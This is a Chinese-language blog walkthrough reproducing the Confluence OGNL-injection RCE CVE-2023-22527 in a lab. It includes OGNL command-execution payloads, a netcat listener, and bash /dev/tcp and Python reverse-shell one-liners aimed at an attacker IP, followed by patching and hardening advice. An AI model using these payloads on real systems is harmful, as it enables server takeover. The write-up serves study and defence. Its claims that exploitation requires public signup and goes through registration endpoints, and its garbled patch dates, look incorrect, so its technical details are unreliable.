CVE-2023-22527漏洞深度剖析：Confluence OGNL注入与远程代码执行实战

1. 项目概述：一次对CVE-2023-22527的深度剖析

最近在安全研究圈里，CVE-2023-22527这个编号被反复提及，它指向的是Atlassian Confluence Data Center和Server版本中的一个高危远程代码执行漏洞。简单来说，这个漏洞允许未经身份验证的攻击者，在特定配置下，直接在目标Confluence服务器上执行任意代码，从而完全控制服务器。对于任何一个运行着Confluence（无论是用于内部知识管理还是对外协作）的组织来说，这无疑是一个需要立即响应的“红色警报”。我花了些时间，在可控的隔离环境中对这个漏洞进行了完整的复现和分析，目的不是为了搞破坏，而是为了彻底理解它的成因、触发条件以及防御要点。只有亲手“挖”过，才能更深刻地知道如何“堵”。这篇文章，我就把这次复现的完整过程、技术细节、踩过的坑以及核心的防御思路，毫无保留地分享出来。无论你是安全研究人员、渗透测试工程师，还是负责维护Confluence系统的运维或开发人员，这篇详实的记录都能帮你建立起对这个漏洞的立体认知。

2. 漏洞背景与核心原理拆解

在动手之前，我们必须先搞清楚这个漏洞的“病根”在哪里。盲目复现就像蒙着眼睛拆弹，既危险又低效。

2.1 Confluence与Ognl表达式注入的“历史渊源”

Atlassian Confluence是一个广泛使用的企业级Wiki和协作软件。它基于Java开发，并大量使用了Apache Struts2框架来处理Web请求。熟悉安全史的朋友可能立刻会想到“Struts2漏洞家族”，其中Ognl（Object-Graph Navigation Language）表达式注入是其中经典且危害极大的一类。Ognl是Struts2中用于在视图层和控制器层之间传递和计算数据的一种强大表达式语言。然而，能力越大，责任越大，如果对用户输入处理不当，攻击者精心构造的Ognl表达式就可能被服务器执行，从而导致远程代码执行。

CVE-2023-22527正是Struts2 Ognl表达式注入漏洞在Confluence特定版本中的又一次体现。它并非一个全新的漏洞类型，但其利用链和触发点具有Confluence自身的特性。官方公告指出，该漏洞影响Confluence Data Center和Server的多个版本，主要集中在8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.4.x以及8.5.0-8.5.3。如果您的Confluence运行在这些版本范围内，并且没有安装2023年10月及之后发布的安全补丁，那么您的系统就处于风险之中。

2.2 漏洞触发的关键条件与利用链分析

这个漏洞的利用并非“有手就行”，它依赖于一个特定的前置条件：Confluence实例必须启用了“允许从互联网注册”的功能。这个功能通常位于“管理” -> “用户管理” -> “用户注册”设置中。在标准的内部部署中，管理员很少会开启这个选项，因为它允许互联网上的任何人申请账户。然而，在一些面向外部协作或社区的场景下，或者由于配置疏忽，这个功能可能被启用。漏洞就潜伏在处理这些用户注册或相关请求的Struts2 Action中。

攻击链大致可以这样理解：

1. 入口点：攻击者向一个特定的、无需认证即可访问的Confluence端点（例如与用户注册、密码重置或某些信息查询相关的URL）发送HTTP请求。
2. 参数污染：在请求的参数中，攻击者插入恶意的Ognl表达式。由于Struts2框架对该参数值的过滤和校验存在缺陷，这个表达式没有被正确清理。
3. 表达式解析与执行：Confluence服务器端的Struts2在处理该请求时，将恶意参数值作为Ognl表达式进行解析。Ognl引擎在执行表达式时，会访问和操作Java对象。
4. 代码执行：通过精心构造的Ognl表达式，攻击者可以调用Java的运行时环境（java.lang.Runtime），从而执行服务器操作系统上的任意命令。例如，可以执行whoami、id来确认权限，或者下载并执行反弹Shell的脚本，最终完全控制服务器。

注意：复现此漏洞必须在完全隔离的实验室环境（如虚拟机、独立的Docker容器）中进行，目标必须是您拥有完全控制权的测试实例。任何对非授权系统的测试都是非法且不道德的。

3. 复现环境搭建与准备

“工欲善其事，必先利其器”。一个稳定、隔离的复现环境是安全研究的第一步。

3.1 靶机环境部署

为了还原真实场景，我选择在虚拟机中部署一个存在漏洞的Confluence版本。这里以Linux系统为例。

1. 基础环境准备：首先，确保你的虚拟机有足够的资源（建议4核CPU，8GB内存，50GB磁盘）。安装Java运行环境是必须的，Confluence 8.x 通常需要JDK 11。

# 以Ubuntu/Debian为例 sudo apt update sudo apt install openjdk-11-jdk -y java -version # 确认版本

2. 下载存在漏洞的Confluence版本：从Atlassian官方存档或可信的镜像站点，下载一个受影响的版本。例如，我选择了Confluence 8.5.2。请注意，务必使用.bin安装文件或归档文件，避免使用已包含修复的安装器。

wget https://example-mirror.com/atlassian/confluence-8.5.2-x64.bin # 请替换为实际可用的下载链接，注意版权和许可。 chmod +x confluence-8.5.2-x64.bin

3. 安装与初始配置：运行安装程序，它会引导你完成安装目录、端口（默认8090）、服务创建等步骤。安装过程中，它会提示你输入一个“安装密钥”，对于测试，你可以选择“试用”或使用公开的测试密钥（请遵守Atlassian的评估许可）。安装完成后，通过浏览器访问http://<your-vm-ip>:8090进行初始设置。

• 数据库选择：为了简化，在测试环境可以直接使用Confluence内置的H2数据库（不适用于生产环境）。在生产复现中，你可能需要配置一个独立的MySQL或PostgreSQL。
• 设置管理员账户：记住你设置的用户名和密码。
• 应用许可证：同样，选择试用或使用测试密钥。

4. 启用关键漏洞前置条件：安装配置完成后，以管理员身份登录Confluence。进入“设置” -> “用户管理” -> “用户注册”。在这里，找到“允许从互联网注册”或类似的选项，并将其启用。这是漏洞能够被远程利用的必要条件。同时，为了模拟更真实的攻击路径，可以暂时关闭注册验证码（如果有），但这并非漏洞利用的必须条件。

3.2 攻击机工具链配置

我的攻击机是一台Kali Linux虚拟机，与靶机在同一网络段（如NAT网络或Host-Only网络），确保网络互通。

核心工具：

1. Burp Suite Professional/Community：用于拦截、查看、修改和重放HTTP请求。社区版足以完成本次复现。它是分析HTTP流量、构造Payload的瑞士军刀。
2. curl / wget：命令行HTTP客户端，用于快速发送请求和测试。
3. Netcat (nc)：瑞士军刀般的网络工具，用于监听反弹Shell的连接。
4. Python3：用于编写简单的脚本来自动化某些步骤或处理数据。

环境检查：确保你的攻击机可以ping通靶机的IP地址，并且能访问到Confluence的Web端口（默认8090）。

4. 漏洞利用过程深度解析

这是整个复现的核心环节。我们将一步步拆解攻击者的操作。

4.1 信息收集与端点探测

首先，我们需要找到那个存在缺陷的、未授权可访问的Struts2 Action端点。通过分析公开的漏洞信息、历史Struts2漏洞的利用模式以及对Confluence默认路由的研究，可以锁定一些潜在的路径。例如，与用户会话、注册、登录、信息查询相关的端点往往是高危区。

使用浏览器开发者工具或Burp Suite，在正常浏览Confluence页面时，观察网络请求。特别关注那些URL中包含.action后缀的请求。同时，可以尝试访问一些常见的、可能无需认证的端点，例如：

• /index.action
• /login.action
• /register.action
• /forgotuserpassword.action
• /json/*.action(某些JSON API端点)

在Burp Suite的Target站点地图中，你会看到Confluence的目录结构。我们的目标是找到一个，在未登录状态下访问，不会直接302跳转到登录页，并且其响应中可能包含我们可控参数的端点。

4.2 恶意Payload构造与注入

找到可疑端点后，下一步是尝试注入Ognl表达式。Struts2的Ognl注入Payload经过多年发展，已经非常成熟。其核心是绕过沙箱限制，最终调用Runtime.getRuntime().exec()。

一个经典的测试Payload是执行id或whoami命令，用于验证漏洞是否存在以及当前Web服务的运行权限。由于HTTP参数需要编码，我们通常会将命令执行的结果输出到Web目录下的一个文件中，然后通过访问该文件来读取结果。

构造思路示例：假设我们找到了一个名为/someEndpoint.action的端点，它有一个参数paramName。

1. 基础探测：先发送一个正常请求，观察响应。
2. 注入尝试：将paramName的值替换为一个简单的Ognl表达式，例如用于触发延迟的表达式，观察服务器响应时间是否变化，初步判断是否存在表达式解析。
3. 命令执行构造：构造能执行系统命令的Ognl表达式。由于直接执行命令可能涉及复杂字符和编码，通常采用分步方式。例如，先尝试让服务器将命令执行结果写入一个临时文件。
   • Payload概念：(#cmd='id').(#p=new java.lang.ProcessBuilder(#cmd)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#os=@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(), #os))
   • 实际利用：在实际的CVE-2023-22527利用中，攻击者会利用Confluence中特定的类和方法链来构造更稳定、更隐蔽的Payload。这些Payload通常经过高度混淆和编码，以绕过WAF和简单的字符串过滤。

实操心得：公开的PoC（概念验证）代码或Payload经常会在GitHub、安全研究论坛找到。但是，直接运行来路不明的PoC脚本是极其危险的，它可能包含后门或进行不可预期的操作。我的做法是：首先在完全隔离的测试环境中运行；其次，使用Burp Suite手动构造和发送单个请求，理解每一个参数和Payload片段的意义，而不是盲目执行一个exploit.py。这不仅能确保安全，更是深度学习漏洞机理的过程。

4.3 利用Burp Suite进行手动利用

这里我演示一个高度简化的、用于原理验证的手动利用过程（实际利用链更复杂）：

1. 启动Burp Suite，配置浏览器代理指向Burp（默认127.0.0.1:8080）。
2. 在浏览器中访问靶机Confluence的注册页面或触发相关动作，让请求经过Burp。
3. 在Burp的Proxy -> Intercept选项卡，找到拦截到的相关.action请求，将其发送到Repeater模块。Repeater允许我们反复修改和发送同一个请求。
4. 在Repeater中，我们尝试修改请求。例如，将请求方法改为POST（如果原来是GET），并添加或修改一个参数。根据漏洞详情，攻击可能针对特定的HTTP头或参数。
5. 插入Payload。假设存在漏洞的参数是username（这只是一个示例，真实参数名不同），我们构造如下Payload（URL编码前）：

   username=%24%7B%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29%29%2C%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D

   这个Payload解码后大致是：${(#a=@java.lang.Runtime@getRuntime().exec("id")),(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}。它试图执行id命令并将输出结果直接包含在HTTP响应中。
6. 发送请求。关键观察点：
   • 响应时间：如果服务器执行了命令，响应可能会有明显延迟。
   • 响应内容：在HTTP响应体中搜索命令输出（如uid=...）。如果漏洞存在且Payload有效，你可能会在HTML源码的某个角落看到id命令的输出。
   • 响应状态码：有时服务器会返回500错误，但错误信息中可能泄露命令执行结果。

一个重要技巧：如果直接回显失败，可以尝试让命令将结果写入Web目录文件。这需要你知道Confluence的绝对路径。例如，执行id > /opt/atlassian/confluence/temp/result.txt，然后通过浏览器访问http://target:8090/temp/result.txt来查看结果。这需要你对目标系统的路径有基本了解。

4.4 获取反向Shell

验证命令执行成功后，下一步就是获取一个交互式的Shell，以便进行更深入的操作。最常用的方法是使用反向Shell。

1. 在攻击机上监听：在Kali上打开一个终端，用Netcat监听一个端口（例如4444）。

   nc -lvnp 4444

2. 构造反向Shell命令：我们需要一个能在目标服务器上执行的命令，让其连接到我们的攻击机。常用的Payload包括：
   • Bash：bash -c 'bash -i >& /dev/tcp/<攻击机IP>/4444 0>&1'
   • Python：python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<攻击机IP>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
   • PowerShell（如果目标是Windows，但Confluence通常部署在Linux）。
3. 通过漏洞执行命令：将上述反向Shell命令进行适当的编码（避免特殊字符破坏HTTP请求），替换之前PoC中的id命令，通过Burp Repeater发送。
4. 建立连接：如果一切顺利，你会在Netcat监听端口中看到来自靶机的连接，并获得一个Shell。执行whoami和pwd来确认当前用户和目录，通常是运行Confluence服务的用户（如confluence）。

5. 漏洞修复与安全加固建议

复现漏洞是为了更好地防御。在确认漏洞存在和危害后，应立即转向修复和加固。

5.1 官方补丁升级

这是最根本、最有效的解决方案。Atlassian在发布安全公告的同时，会提供修复了该漏洞的软件版本。

1. 确定受影响版本：访问Atlassian官方安全公告，确认你的Confluence版本是否在受影响范围内。
2. 备份数据：在进行任何升级前，务必对Confluence的数据库和<confluence-home>目录（包含附件、索引等）进行完整备份。
3. 升级到安全版本：根据Atlassian的升级指南，将Confluence升级到已修复该漏洞的版本。例如，对于CVE-2023-22527，需要升级到8.5.4 (LTS), 8.6.0或更高版本。
4. 验证升级：升级完成后，再次访问之前可能存在漏洞的端点，并使用简单的探测Payload进行测试（在隔离环境），确认漏洞已修复。

5.2 临时缓解措施

如果由于某些原因无法立即升级，可以采取以下临时措施来阻断攻击：

1. 禁用“允许从互联网注册”：立即进入Confluence管理界面，在“用户管理” -> “用户注册”中，禁用此功能。这是阻断此漏洞利用路径最直接的方法。即使漏洞代码依然存在，攻击者也无法访问到触发漏洞的入口点。
2. 网络层防护：
   • 防火墙规则：在Confluence服务器前端的防火墙或安全组上，严格限制访问源IP。只允许可信的办公网络或VPN IP地址访问Confluence的Web端口（默认8090）。
   • WAF（Web应用防火墙）：部署或启用WAF，并更新规则集以拦截针对Struts2 Ognl注入的攻击模式。许多云WAF或开源WAF（如ModSecurity）都有相关的防护规则。
3. 应用层防护：如果对Struts2熟悉，可以审查相关的struts.xml配置文件，对可疑的Action进行更严格的输入验证或直接禁用。但这需要较高的技术能力，且可能影响正常功能。

5.3 安全配置最佳实践

除了应对特定漏洞，养成良好的安全配置习惯能防患于未然：

1. 最小权限原则：运行Confluence的系统和数据库账户，应仅被授予所需的最小权限。避免使用root或高权限账户运行服务。
2. 定期更新与补丁管理：订阅Atlassian的安全通告，建立规范的补丁管理和升级流程。不要长期运行已停止支持的老旧版本。
3. 强化网络访问控制：Confluence管理界面（通常包含/admin路径）应仅限内部网络或通过VPN访问。考虑将Confluence部署在内网，通过反向代理（如Nginx/Apache）对外提供访问，并在代理层增加额外的安全头（如CSP）和访问控制。
4. 启用审计日志：确保Confluence的访问日志和审计日志是开启的，并定期审查异常访问模式，例如大量来自单一IP的注册尝试、访问异常Action的请求等。
5. 安全开发生命周期：如果是自定义开发了Confluence插件，务必对用户输入进行严格的校验、过滤和编码，避免引入新的注入类漏洞。

6. 复现过程中的常见问题与排查

在复现过程中，我遇到了几个典型问题，这里记录下来供大家参考。

6.1 漏洞无法触发

• 问题：按照步骤发送Payload后，服务器返回404、302跳转到登录页，或者返回正常页面但没有命令执行迹象。
• 排查：
  1. 确认前置条件：再次登录Confluence管理后台，百分百确认“允许从互联网注册”功能是开启的。这是最容易忽略的一步。
  2. 确认版本：检查Confluence的“关于”页面，确认安装的版本确实在受影响范围内（如8.5.2）。有时可能误装了已打补丁的版本。
  3. 确认端点：仔细核对使用的URL端点是否正确。不同的Confluence版本或配置，其Action路径可能有细微差别。尝试使用Burp的爬虫功能或目录扫描工具（如gobuster、dirsearch）对*.action路径进行发现。注意扫描强度和频率，避免对生产系统造成影响。
  4. Payload编码：确保Payload进行了正确的URL编码。在Burp Repeater中，可以使用Ctrl+U进行快速编解码。特殊字符、空格、引号都可能影响Payload解析。
  5. 命令回显方式：如果直接回显失败，尝试使用“写入文件再访问”的方式。确保你猜测的Web可访问路径是正确的。可以尝试先执行pwd命令写入文件，来确定当前工作目录。

6.2 命令执行成功但无回显

• 问题：Netcat监听端口有连接进入，但很快断开，或者连接后无法输入命令。
• 排查：
  1. 防火墙/出站规则：确保靶机（Confluence服务器）可以访问攻击机的监听IP和端口。检查靶机上的防火墙规则（iptables、firewalld）或云主机的安全组出站规则。
  2. 反向Shell稳定性：基础的bash -i或nc反向Shell可能不稳定。尝试使用更稳定的Payload，例如上面提到的Python PTY反向Shell，或者使用socat、msfvenom生成编码后的Payload。
  3. 终端交互问题：获取到Shell后，先尝试执行script /dev/null或python -c 'import pty; pty.spawn("/bin/bash")'来尝试升级为一个完全交互式的TTY。

6.3 环境差异导致的问题

• 问题：别人的PoC能成功，但在我的环境里失败。
• 排查：
  1. Java版本：Confluence对JDK版本有要求，不兼容的Java版本可能导致Struts2行为异常。确保使用官方推荐的JDK版本。
  2. 数据库差异：使用内置H2数据库和外部MySQL数据库，在部分路径和权限上可能有细微差别，可能影响写入文件的操作。
  3. 操作系统差异：Linux和Windows的命令语法、路径分隔符（/vs\）完全不同。确保你的Payload是针对目标操作系统（通常是Linux）构造的。
  4. Payload依赖的类库：某些复杂的Ognl Payload可能依赖特定的第三方JAR包（如commons-io）。如果目标Confluence的WEB-INF/lib目录下没有相应的库，Payload可能会执行失败。尝试使用更通用、依赖更少的Payload。

这次对CVE-2023-22527的复现，让我再次深刻体会到，对于广泛使用的企业级软件，一个配置选项的疏忽就可能打开一道危险的大门。安全不是一个功能，而是一个贯穿于系统设计、部署、配置和运维全过程的状态。作为防御方，我们需要时刻保持警惕，及时打补丁、遵循最小权限原则、实施深度防御。而作为安全研究者，在法律的边界和道德的准则内，通过动手复现去理解漏洞，是我们提升实战能力、更好地履行防御职责的必经之路。在测试的最后，别忘了将你的测试环境回滚到安全状态，或者直接销毁，确保没有任何测试用的后门或文件残留。